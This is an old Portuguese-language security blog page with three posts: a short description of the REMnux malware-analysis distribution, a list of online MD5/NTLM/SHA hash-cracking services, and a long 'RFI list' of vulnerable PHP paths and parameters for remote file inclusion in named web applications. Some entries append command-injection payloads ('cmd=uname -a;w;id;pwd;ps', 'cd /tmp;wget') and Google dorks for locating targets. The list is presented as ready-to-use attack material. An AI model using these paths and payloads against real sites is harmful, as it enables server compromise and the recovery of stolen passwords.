banner468

quinta-feira, 26 de agosto de 2010

REMnux: A Distribuição Linux para Reverse-Engineering Malware

REMnux é uma distribuição Linux leve para auxiliar analistas de malware em engenharia reversa de software malicioso. A distribuição é baseada no Ubuntu e é mantido por Lenny Zeltser.

REMnux é projetado para executar os serviços que são úteis para emular dentro de um ambiente de laboratório isolado na realização de análise de malware comportamentais. Como parte deste processo, o analista normalmente infecta um outro sistema de laboratório com a amostra de malware e direciona as ligações potencialmente maliciosos para o sistema REMnux que está escutando nas portas apropriadas.

REMnux também é útil para analisar malware baseado em web
, como o JavaScript malicioso, os programas Java, Flash e arquivos. Também possui ferramentas para análise de documentos maliciosos, tais como Microsoft Office e arquivos Adobe PDF, e utilitários para reverter malware através forense de memória. Nestes casos, malware podem ser carregados REMnux e analisados diretamente no sistema REMnux sem a necessidade de outros sistemas de estar presentes no laboratório.


REMnux não pretende incluir todas as ferramentas de análise de malware da existência. Muitas destas ferramentas são projetados para funcionar em Windows, e os investigadores preferem usar sistemas Windows para executar essas ferramentas. Se você estiver interessado em rodar ferramentas de análise do Windows em uma plataforma Linux, dê uma olhada no projeto Wine Zero.

Download do REMnux: remnux-vm-public-1.0.zip

Ref:
http://zeltser.com/remnux/

quarta-feira, 25 de agosto de 2010

Site para quebrar MD5

MD5:
http://r0ot.podzemlje.net/?x=md5
http://paste2.org/p/441222
http://www.md5decrypter.co.uk/
http://hash.db.hk/md5.php
http://plain-text.info
http://insidepro.com
http://md5decrypter.co.uk
http://c0llision.net
http://schwett.com/md5
http://milw0rm.com/md5
http://md5this.com
http://tmto.org
http://kerinci.net
http://hash.db.hk
http://md5.shalla.de
http://hashcracking.info <-- API: https://hashcracking.info/check.php?hash= {hash}
http://md5.opencracking.info
http://bokehman.com
http://hash-database.net
http://md5-database.net
http://web-security-services.com
http://bitdelivery.net
Multi:
http://hashkiller.com
http://sinhalayo159.07x.net
IRC:
http://md5.overclock.ch (irc.rizon.net #md5)
http://c0llision.net (irc.after-all.org #md5crack |||| ircd.hopto.org #md5crack)
ICQ:
http://c0llision.net (427-921-047) <- md5, ntlm
http://hashkiller.com (405-701-776) <- md5
LM:
http://lmcrack.com
http://plain-text.info
NTLM:
http://plain-text.info
http://md5decrypter.co.uk
SHA1:
http://md5.rednoize.com
http://hash.db.hk
http://md5decrypter.co.uk
SHA1:
http://md5.shalla.de
http://hash.db.hk

SHA256 on http://hash.db.hk/sha256.php
http://hashkiller.com/
http://md5pass.info/
http://hashcrack.com/index.php
http://generuj.pl
http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php
http://md5decryption.com/
http://md5.rednoize.com/
http://md5decrypter.com/
http://md5crack.com/crackmd5.php
http://gdataonline.com/seekhash.php
http://passcracking.com/index.php
http://hashchecker.com/index.php
http://tools.kerinci.net/?x=md5
http://crackfor.me/index.php
http://md5-db.de/e10adc3949ba59abbe56e057f20f883e.html
http://www.md5hood.com/index.php/cracker/crack
http://neofusion.de/Index.php?mode=1
http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php
http://md5online.net/
http://macrosoftware.ro/md5/index.php
http://www.netmd5crack.com/cracker/
http://md5-decrypter.com/
http://www.thoran.eu/cracker
http://plain-text.info/search
http://md5.igrkio.info/md5-hash-database.html?h=e80b5017098950fc58aad83c8c14978e
http://md5cracker.org/index-page-cracken.html
http://www.hashchecker.de/hash.cgi?action=check&wert=1&hash=e80b5017098950fc58aad83c8c14978e
http://www.cmd5.com/default.aspx
http://xmd5.cn/md5/encrypt.asp?word=123456

Lista RFI - Remote File Inclusion

Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites, que permite a um atacante para incluir um arquivo remoto geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecida pelo usuário sem a devida validação.


/includes/header.php?systempath=
/Gallery/displayCategory.php?basepath=
/index.inc.php?PATH_Includes=
/nphp/nphpd.php?nphp_config[LangFile]=
/include/db.php?GLOBALS[rootdp]=
/ashnews.php?pathtoashnews=
/ashheadlines.php?pathtoashnews=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basepath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_connect=lol&chem_absolu=
/index.php?from_market=Y&pageurl=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basepath=
/derniers_commentaires.php?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_path=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/main.php?page=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?*********
/index.php?conteudo=
/index.php?cat=
/include/new-visitor.inc.php?lvc_include_dir=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/zentrack/index.php?configFile=
/main.php?x=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/phpopenchat/contrib/yabbse/poc.php?sourcedir=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
(www.google.com => intitle:PHPOpenChat exthp)

/calendar/calendar.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/functions/popup.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/events/header.inc.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/events/datePicker.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/setup/setupSQL.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/setup/header.inc.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
(www.google.com => intitle:"EasyPHPCalendar" exthp)

/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
/zentrack/index.php?configFile=
/pivot/modules/module_db.php?pivot_path=
/inc/header.php/step_one.php?server_inc=
/install/index.php?lng=../../include/main.inc&G_PATH=
/inc/pipe.php?HCL_path=
/include/write.php?dir=
/include/new-visitor.inc.php?lvc_include_dir=
/includes/header.php?systempath=
/support/mailling/maillist/inc/initdb.php?absolute_path=
/coppercop/theme.php?THEME_DIR=
/zentrack/index.php?configFile=
/pivot/modules/module_db.php?pivot_path=
/inc/header.php/step_one.php?server_inc=
/install/index.php?lng=../../include/main.inc&G_PATH=
/inc/pipe.php?HCL_path=
/include/write.php?dir=
/include/new-visitor.inc.php?lvc_include_dir=
/includes/header.php?systempath=
/support/mailling/maillist/inc/initdb.php?absolute_path=
/coppercop/theme.php?THEME_DIR=
/becommunity/community/index.php?pageurl=
/shoutbox/expanded.php?conf=
/agendax/addevent.inc.php?agendax_path=
/myPHPCalendar/admin.php?cal_dir=
/yabbse/Sources/Packages.php?sourcedir=
/zboard/zboard.php
/path_of_cpcommerce/_functions.php?prefix
/dotproject/modules/projects/addedit.php?root_dir=
/dotproject/modules/projects/view.php?root_dir=
/dotproject/modules/projects/vw_files.php?root_dir=
/dotproject/modules/tasks/addedit.php?root_dir=
/dotproject/modules/tasks/viewgantt.php?root_dir=
/My_eGallery/public/displayCategory.php?basepath=
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/agendax/addevent.inc.php?agendax_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/shoutbox/expanded.php?conf=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/main.php?x=
/main.php?page=
/default.php?page=
/index.php?meio.php=
/index.php?include= | /index.php?inc= | /index.php?page= | /index.php?pag= | /index.php?p=
/index.php?x= | /index.php?open= | /index.php?open= | /index.php?visualizar= | /index.php?pagina=
/index.php?********* | /index.php?cont= | /index.php?c= | /index.php?meio= | /index.php?x=
/index.php?cat= | /index.php?site= /index.php?configFile= | /index.php?action= | /index.php?do=
/index2.php?x= | /index2.php?********* | /template.php?pagina= | /inc/step_one_tables.php?server_inc=
/GradeMap/index.php?page= | /phpshop/index.php?base_dir= | /admin.php?cal_dir=
/path_of_cpcommerce/_functions.php?prefix= | /contacts.php?cal_dir= | /convert-date.php?cal_dir=
/album_portal.php?phpbb_root_path=
/mainfile.php?MAIN_PATH=
/dotproject/modules/files/index_table.php?root_dir=
/html/affich.php?base=
/gallery/init.php?HTTP_POST_VARS=
/pm/lib.inc.php?pm_path=
/ideabox/include.php?gorumDir=
index2.php?includes_dir=
forums/toplist.php?phpbb_root_path=
forum/toplist.php?phpbb_root_path=
admin/config_settings.tpl.php?include_path=
include/common.php?include_path=
event/index.php?page=
forum/index.php?includeFooter=
forums/index.php?includeFooter=
forum/bb_admin.php?includeFooter=
forums/bb_admin.php?includeFooter=
language/lang_english/lang_activity.php?phpbb_root_path=
forum/language/lang_english/lang_activity.php?phpbb_root_path=
blend_data/blend_common.php?phpbb_root_path=
master.php?root_path=
includes/kb_constants.php?module_root_path=
forum/includes/kb_constants.php?module_root_path=
forums/includes/kb_constants.php?module_root_path=
classes/adodbt/sql.php?classes_dir=
agenda.php3?rootagenda=
agenda2.php3?rootagenda=
sources/lostpw.php?CONFIG[path]=
topsites/sources/lostpw.php?CONFIG[path]=
toplist/sources/lostpw.php?CONFIG[path]=
sources/join.php?CONFIG[path]=
topsites/sources/join.php?CONFIG[path]=
toplist/sources/join.php?CONFIG[path]=
topsite/sources/join.php?CONFIG[path]=
public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=
extras/poll/poll.php?file_newsportal=
index.php?site_path=
mail/index.php?site_path=
fclick/show.php?path=
show.php?path=
calogic/reconfig.php?GLOBALS[CLPath]=
eshow.php?Config_rootdir=
auction/auction_common.php?phpbb_root_path=
index.php?inc_dir=
calendar/index.php?inc_dir=
modules/TotalCalendar/index.php?inc_dir=
modules/calendar/index.php?inc_dir=
calendar/embed/day.php?path=
ACalendar/embed/day.php?path=
calendar/add_event.php?inc_dir=
claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=
claroline/auth/ldap/authldap.php?includePath=
docebo/modules/credits/help.php?lang=
modules/credits/help.php?lang=
config.php?returnpath=
editsite.php?returnpath=
in.php?returnpath=
addsite.php?returnpath=
includes/pafiledb_constants.php?module_root_path=
phpBB/includes/pafiledb_constants.php?module_root_path=
pafiledb/includes/pafiledb_constants.php?module_root_path=
auth/auth.php?phpbb_root_path=
auth/auth_phpbb/phpbb_root_path=
apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=
apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=
infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=
phpdig/includes/config.php?relative_script_path=
includes/phpdig/includes/config.php?relative_script_path=
includes/dbal.php?eqdkp_root_path=
eqdkp/includes/dbal.php?eqdkp_root_path=
dkp/includes/dbal.php?eqdkp_root_path=
path/include/SQuery/gameSpy2.php?libpath=
include/global.php?GLOBALS[includeBit]=
topsites/config.php?returnpath=
manager/frontinc/prepend.php?_PX_config[manager_path]=
ubbthreads/addpost_newpoll.php?addpoll=thispath=
forum/addpost_newpoll.php?thispath=
forums/addpost_newpoll.php?thispath=
ubbthreads/ubbt.inc.php?thispath=
forums/ubbt.inc.php?thispath=
forum/ubbt.inc.php?thispath=
forum/admin/addentry.php?phpbb_root_path=
admin/addentry.php?phpbb_root_path=
index.php?f=
index.php?act=
ipchat.php?root_path=
includes/orderSuccess.inc.php?glob[rootDir]=
stats.php?dir[func]=dir[base]=
ladder/stats.php?dir[base]=
ladders/stats.php?dir[base]=
sphider/admin/configset.php?settings_dir=
admin/configset.php?settings_dir=
vwar/admin/admin.php?vwar_root=
modules/vwar/admin/admin.php?vwar_root=
modules/vWar_Account/includes/get_header.php?vwar_root=
modules/vWar_Account/includes/functions_common.php?vwar_root2=
sphider/admin/configset.php?settings_dir=
admin/configset.php?settings_dir=
impex/ImpExData.php?systempath=
forum/impex/ImpExData.php?systempath=
forums/impex/ImpExData.php?systempath=
application.php?base_path=
index.php?theme_path=
become_editor.php?theme_path=
add.php?theme_path=
bad_link.php?theme_path=
browse.php?theme_path=
detail.php?theme_path=
fav.php?theme_path=
get_rated.php?theme_path=
login.php?theme_path=
mailing_list.php?theme_path=
new.php?theme_path=
modify.php?theme_path=
pick.php?theme_path=
power_search.php?theme_path=
rating.php?theme_path=
register.php?theme_path=
review.php?theme_path=
rss.php?theme_path=
search.php?theme_path=
send_pwd.php?theme_path=
sendmail.php?theme_path=
tell_friend.php?theme_path=
top_rated.php?theme_path=
user_detail.php?theme_path=
user_search.php?theme_path=
invoice.php?base_path=
cgi-bin//classes/adodbt/sql.php?classes_dir=
cgi-bin/install/index.php?G_PATH=
cgi-bin/include/print_category.php?dir=
includes/class_template.php?quezza_root_path=
bazar/classified_right.php?language_dir=
classified_right.php?language_dir=
phpBazar/classified_right.php?language_dir=
chat/messagesL.php3?cmd=
phpMyChat/chat/messagesL.php3?cmd=
bbs/include/write.php?dir=
visitorupload.php?cmd=
modules/center/admin/accounts/process.php?module_path]=
index.php?template=
armygame.php?libpath=
lire.php?rub=
pathofhostadmin/?page=
apa_phpinclude.inc.php?apa_module_basedir=
index.php?req_path=
research/boards/encapsbb-0.3.2_fixed/index_header.php?root=
Farsi1/index.php?archive=
index.php?archive=
show_archives.php?template=
forum/include/common.php?pun_root=
pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=
vuln.php?=
cgi-bin//include/write.php?dir=
admin/common.inc.php?basepath=
pm/lib.inc.php?sfx=
pm/lib.inc.php?pm_path=
artmedic-kleinanzeigen-path/index.php?id=
index.php?pagina=
osticket/include/main.php?include_dir=
include/main.php?config[search_disp]=include_dir=
phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=
quick_reply.php?phpbb_root_path=
zboard/include/write.php?dir=
PATH/admin/plog-admin-functions.php?configbasedir=
path_to_phpgreetz/content.php?*********
path_to_qnews/q-news.php?id=
_conf/core/common-tpl-vars.php?confdir=
votebox.php?VoteBoxPath=
al_initialize.php?alpath=
include/db.php?GLOBALS[rootdp]=
modules/news/archivednews.php?GLOBALS[language_home]=
protection.php?siteurl=
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
index2.php?includes_dir=
classes.php?LOCAL_PATH=
extensions/moblog/moblog_lib.php?basedir=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
phpWebLog/include/init.inc.php?G_PATH=
admin/objects.inc.php4?Server=
trg_news30/trgnews/install/article.php?dir=
block.php?Include=
arpuivo.php?data=
path_to_gallery/setup/index.php?GALLERY_BASEDIR=
include/help.php?base=
index.php?[Home]=
path_to_script/block.php?Include=
examples/phonebook.php?page=
PHPNews/auth.php?path=
include/print_category.php?dir=
skin/zero_vote/login.php?dir=
skin/zero_vote/setup.php?dir=
skin/zero_vote/ask_password.php?dir=
gui/include/sql.php?include_path=
webmail/lib/emailreader_execute_on_each_page.inc.php?emailread er_ini=
email.php?login=cer_skin=
PhotoGal/ops/gals.php?news_file=
index.php?custom=
loginout.php?cutepath=
oneadmin/config.php?path[docroot]=
xcomic/initialize.php?xcomicRootPath=
skin/zero_vote/setup.php?dir=
skin/zero_vote/error.php? dir=
admin_modules/admin_module_captions.inc.php?config[path_src_include]=
admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=
admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=
admin_modules/admin_module_edit.inc.php?config[path_src_include]=
admin_modules/admin_module_delimage.inc.php?config[path_src_include]=
admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
src/index_overview.inc.php?config[path_src_include]=
src/index_leftnavbar.inc.php?config[path_src_include]=
src/index_image.inc.php?config[path_src_include]=
src/image-gd.class.php?config[path_src_include]=
src/image.class.php?config[path_src_include]=
src/album.class.php?config[path_src_include]=
src/show_random.inc.php?config[path_src_include]=
src/main.inc.php?config[path_src_include]=
src/index_passwd-admin.inc.php?config[path_admin_include]=
yappa-ng/src/index_overview.inc.php?config[path_src_include]=
admin_modules/admin_module_captions.inc.php?config[path_src_include]=
admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=
admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=
admin_modules/admin_module_edit.inc.php?config[path_src_include]=
admin_modules/admin_module_delimage.inc.php?config[path_src_include]=
admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
src/index_overview.inc.php?config[path_src_include]=
src/image-gd.class.php?config[path_src_include]=
src/image.class.php?config[image_module]=
src/album.class.php?config[path_src_include]=
src/show_random.inc.php?config[path_src_include]=
src/main.inc.php?config[path_src_include]=
includes/db_adodb.php?baseDir=
includes/db_connect.php?baseDir=
includes/session.php?baseDir=
modules/projects/gantt.php?dPconfig[root_dir]=
modules/projects/gantt2.php?dPconfig[root_dir]=
modules/projects/vw_files.php?dPconfig[root_dir]=
modules/admin/vw_usr_roles.php?baseDir=
modules/public/calendar.php?baseDir=
modules/public/date_format.php?baseDir=
modules/tasks/gantt.php?baseDir=
mantis/login_page.php?g_meta_include_file=
phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=
modules/My_eGallery/public/displayCategory.php?basepath=
dotproject/modules/files/index_table.php?root_dir=
nukebrowser.php?filnavn=
bug_sponsorship_list_view_inc.php?t_core_path=
modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
modules/coppermine/themes/maze/theme.php?THEME_DIR=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
includes/calendar.php?phpc_root_path=
includes/setup.php?phpc_root_path=
phpBB/admin/admin_styles.php?mode=
aMember/plugins/db/mysql/mysql.inc.php?config=
admin/lang.php?CMS_ADMIN_PAGE=
inc/pipe.php?HCL_path=
include/write.php?dir=
becommunity/community/index.php?pageurl=
modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
modules/mod_mainmenu.php?mosConfig_absolute_path=
modules/agendax/addevent.inc.php?agendax_path=
shoutbox/expanded.php?conf=
modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
index.php?page=
index.php?pag=
index.php?include=
index.php?*********
index.php?cont=
index.php?c=
modules/My_eGallery/index.php?basepath=
modules/newbb_plus/class/forumpollrenderer.php?bbPath=
journal.php?m=
index.php?m=
links.php?c=
forums.php?m=
list.php?c=
user.php?xoops_redirect=
index.php?id=
r.php?url=
CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=
inc/formmail.inc.php?script_root=
include/init.inc.php?G_PATH=
backend/addons/links/index.php?PATH=
modules/newbb_plus/class/class.forumposts.php?bbPath[path]=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
protection.php?siteurl=
htmltonuke.php?filnavn=
mail_autocheck.php?pm_path=
index.php?p=
modules/4nAlbum/public/displayCategory.php?basepath=
e107/e107_handlers/secure_img_render.php?p=
include/new-visitor.inc.php?lvc_include_dir=
path_of_cpcommerce/_functions.php?prefix=
community/modules/agendax/addevent.inc.php?agendax_path=
library/editor/editor.php?root=
library/lib.php?root=
zentrack/index.php?configFile=
pivot/modules/module_db.php?pivot_path=
main.php?x=
myPHPCalendar/admin.php?cal_dir=
index.php/main.php?x=
index.php?x=
index.php?open=
index.php?visualizar=
template.php?pagina=
index.php?inc=
includes/include_onde.php?include_file=
index.php?pg=
index.php?show=
index.php?cat=
print.php?val1=
cmd.php?function=
iframe.php?file=
os/pointer.php?url=
p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=
index.php?file=
db.php?path_local=
phpGedView/individual.php?PGV_BASE_DIRECTORY=
index.php?kietu[url_hit]=
phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
Sources/Packages.php?sourcedir=
yabbse/Sources/Packages.php?sourcedir=
modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
cgi-bin//gadgets/Blog/BlogModel.php?path=
cgi-bin//admin.php?cal_dir=
gallery/captionator.php?GALLERY_BASEDIR=
cgi-bin/main.php?x=
Blog/BlogModel.php?path=
admin.php?cal_dir=
expanded.php?conf=
mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
pollvote/pollvote.php?pollname=
displayCategory.php?basepath=
phpBB2/admin/admin_cash.php?phpbb_root_path=
modules/foro/includes/functions_admin.php?phpbb_root_path=
modules/Forums/admin/admin_forums.php?phpEx=
modules/Forums/admin/admin_disallow.php?phpEx=
modules/Forums/admin/admin_smilies.php?phpEx=
modules/Forums/admin/admin_board.php?phpEx=
modules/Forums/admin/admin_users.php?phpEx=
modules/Forums/admin/admin_mass_email.php?phpEx=
modules/Forums/admin/admin_forum_prune.php?phpEx=
modules/Forums/admin/admin_styles.php?phpbb_root_path=
index.php?hc=
mt-comments.cgi?id=
webcalendar/tools/send_reminders.php?includedir=
cmd/product_info.php/products_id/1622/shop_content.php?coID=
addevent.inc.php?agendax_path=
step_one.php?server_inc=
upgrade_album.php?GALLERY_BASEDIR=
search.php?cutepath=
modules.php?name=
wagora/extras//quicklist.php?site=
vCard/admin/define.inc.php?match=
forum/ubbthreads.php?Cat=
admin/includes/classes/spaw/spaw_control.class.php?spaw_root=
secure.php?cfgProgDir=
modules/My_eGallery/public//inc/?HCL_path=
modules/My_eGallery/public/imagen.php?basepath=
adlayer.php?layerstyle=
Forums/bb_smilies.php?name=
modules/Forums/bb_smilies.php?name=
gadgets/Blog/BlogModel.php?path=
learnlinc/clmcpreload.php?CLPATH=
modernbill/samples/news.php?DIR=
religions/faq.php?page=
forum/viewtopic.php?t=
announcements.php?includePath=
inc/header.php/step_one.php?server_inc=
phpatm/index.php?include_location=
gb/form.inc.php3?lang=
shannen/index.php?x=
family/phpgedview/index.php?PGV_BASE_DIRECTORY=
main.php?left=
forum/misc.php?action=
nucleus/libs/globalfunctions.php?DIR_LIBS=
show_archives.php?cutepath=
gallery.php=
magicforum/misc.php?action=
forum/admin/actions/del.php?include_path=
index.php?meio=
local/investing_industrialeastate1.php?a=
modules/coppermine/themes/default/theme.php?THEME_DIR
Popper/index.php?childwindow.inc.php?form=
class.mysql.php?path_to_bt_dir=
include/footer.inc.php?_AMLconfig[cfg_serverpath]=
eyeos/desktop.php?baccio=
ashnews.php?pathtoashnews=
index.php?modpath=
becommunity/community/index.php?pageurl=
index.php?sqld=
modules/module_db.php?pivot_path=
catalog/includes/include_once.php?include_file=
cgi-bin/calendar.pl?fromTemplate=
live/inc/pipe.php?HCL_path=
zb41/include/write.php?dir=
cgi-bin/awstats.pl?logfile=
presse/stampa.php3?azione=
inc/step_one_tables.php?server_inc=
index.php?mainpage=
phpprojekt/lib/authform.inc.php?path_pre=
captionator.php?GALLERY_BASEDIR=
_head.php?_zb_path=.example.com
achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=
gallery/captionator.php?GALLERY_BASEDIR=.example.com
globals.php3?Lang******=.example.com
include/msql.php?inc_dir=
include/mssql7.php?inc_dir=
include/mysql.php?inc_dir=
include/oci8.php?inc_dir=
include/postgres.php?inc_dir=
include/postgres65.php?inc_dir=
install.php?phpbb_root_dir=
mantis/login_page.php?g_meta_inc_dir=
page.php?template=
phorum/admin/actions/del.php?include_path=
pollensondage.inc.php?app_path=
user/agora_user.php?inc_dir=
user/ldap_example.php?inc_dir=
userlist.php?ME=.example.com
_functions.php?prefix=
cpcommerce/_functions.php?prefix=
ashnews.php?pathtoashnews=cd /tmp;wget
eblog/blog.inc.php?xoopsConfig[xoops_url]=
b2-tools/gm-2-b2.php?b2inc=
includes/include_once.php?include_file=
modules.php?name=jokeid=
index.php?site=
livehelp/inc/pipe.php?HCL_path=
hcl/inc/pipe.php?HCL_path=
support/faq/inc/pipe.php?HCL_path=
help/faq/inc/pipe.php?HCL_path=
helpcenter/inc/pipe.php?HCL_path=
live-support/inc/pipe.php?HCL_path=
gnu3/index.php?doc=
gnu/index.php?doc=
phpgwapi/setup/tables_update.inc.php?appdir=
includes/calendar.php?phpc_root_path=
includes/setup.php?phpc_root_path=
inc/authform.inc.php?path_pre=
include/authform.inc.php?path_pre=
web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR=
web_statistics//tools/send_reminders.php?includedir=
web_statistics//include/write.php?dir=
web_statistics//modules/My_eGallery/public/displayCategory.php?basepath=
web_statistics//calendar/tools/send_reminders.php?includedir=
web_statistics//skin/zero_vote/error.php?dir=
web_statistics//coppercop/theme.php?THEME_DIR=
includes/header.php?systempath=
Gallery/displayCategory.php?basepath=
index.inc.php?PATH_Includes=
nphp/nphpd.php?nphp_config[LangFile]=
ashheadlines.php?pathtoashnews=
demo/includes/init.php?user_inc=
jaf/index.php?show=
inc/shows.inc.php?cutepath=
poll/admin/common.inc.php?base_path=
sources/post.php?fil_config=
bb_lib/checkdb.inc.php?libpach=
include/livre_include.php?chem_absolu=
index.php?pageurl=
derniers_commentaires.php?rep=
modules/coppermine/themes/default/theme.php?THEME_DIR=
coppermine/themes/maze/theme.php?THEME_DIR=
allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
agendax/addevent.inc.php?agendax_path=
main.php?page=
default.php?page=
index.php?action=
index1.php?p=
index2.php?x=
index2.php?*********
index.php?conteudo=
GradeMap/index.php?page=
phpopenchat/contrib/yabbse/poc.php?sourcedir=
calendar/calendar.php?serverPath=
calendar/functions/popup.php?serverPath=
calendar/events/header.inc.php?serverPath=
calendar/events/datePicker.php?serverPath=
calendar/setup/setupSQL.php?serverPath=
calendar/setup/header.inc.php?serverPath=
install/index.php?G_PATH=
support/mailling/maillist/inc/initdb.php?absolute_path=
coppercop/theme.php?THEME_DIR=
dotproject/modules/projects/addedit.php?root_dir=
dotproject/modules/projects/view.php?root_dir=
dotproject/modules/projects/vw_files.php?root_dir=
dotproject/modules/tasks/addedit.php?root_dir=
dotproject/modules/tasks/viewgantt.php?root_dir=
My_eGallery/public/displayCategory.php?basepath=
index.php?meio.php=
index.php?configFile=
index.php?do=
phpshop/index.php?base_dir=
contacts.php?cal_dir=
convert-date.php?cal_dir=
album_portal.php?phpbb_root_path=
mainfile.php?MAIN_PATH=
html/affich.php?base=
gallery/init.php?HTTP_POST_VARS=
ideabox/include.php?gorumDir=
stats/modules/My_eGallery/index.php?basepath=
stats/include/write.php?dir=
stats/tools/send_reminders.php?includedir=
index.cgiupgrade_album.php?GALLERY_BASEDIR=
pollvote/pollvote.php?pollname
includes/page_header.php?dir=
index2.php?mosConfig_absolute_path=
new/bbs//include/write.php?dir=
index.php?mosConfig_absolute_path=
modules/My_eGallery/public/inc/?HCL_path=
/forum/auth/auth.php?phpbb_root_path=
/forum/auth/auth_phpbb/phpbb_root_path=
/cutenews/comments.php?cutepath=
/library/lib.php?root=
/impex/ImpExData.php?systempath=
/coppermine/thumbnails.php?lang=
/gallery/thumbnails.php?lang=
/aWebNews/visview.php?path_to_news=
/ashnews.php?pathtoashnews=
/4images/index.php?template=
/galeri/index.php?template=
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=
/components/com_smf/smf.php?mosConfig_absolute_path=
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=
/components/com_simpleboard/image_upload.php?sbp=
/gallery/index.php?template=
/auth/auth.php?phpbb_root_path=
/auth/auth_phpbb/phpbb_root_path=
/modules/Forums/admin/index.php?phpbb_root_path=
/modules/Forums/admin/admin_avatar.php?phpbb_root_path=
/modules/Forums/admin/admin_styles.php?phpbb_root_path=
/_wk/wk_lang.php?wkPath=
/shoutbox/expanded.php?conf=
/myPHPCalendar/admin.php?cal_dir=
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
/modules/Forums/admin/admin_board.php?phpEx=
/modules/Forums/admin/admin_users.php?phpEx=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/My_eGallery/index.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/modules/coppermine/themes/maze/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/phpBB/admin/admin_styles.php?mode=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/index.php?page=
/index.php?pag=
/index.php?sayfa=
/index.php?pg=
/index.php?include=
/index.php?*********
/index.php?p=
/index.php?s=
/index.php?cont=
/index.php?c=
/journal.php?m=
/index.php?m=
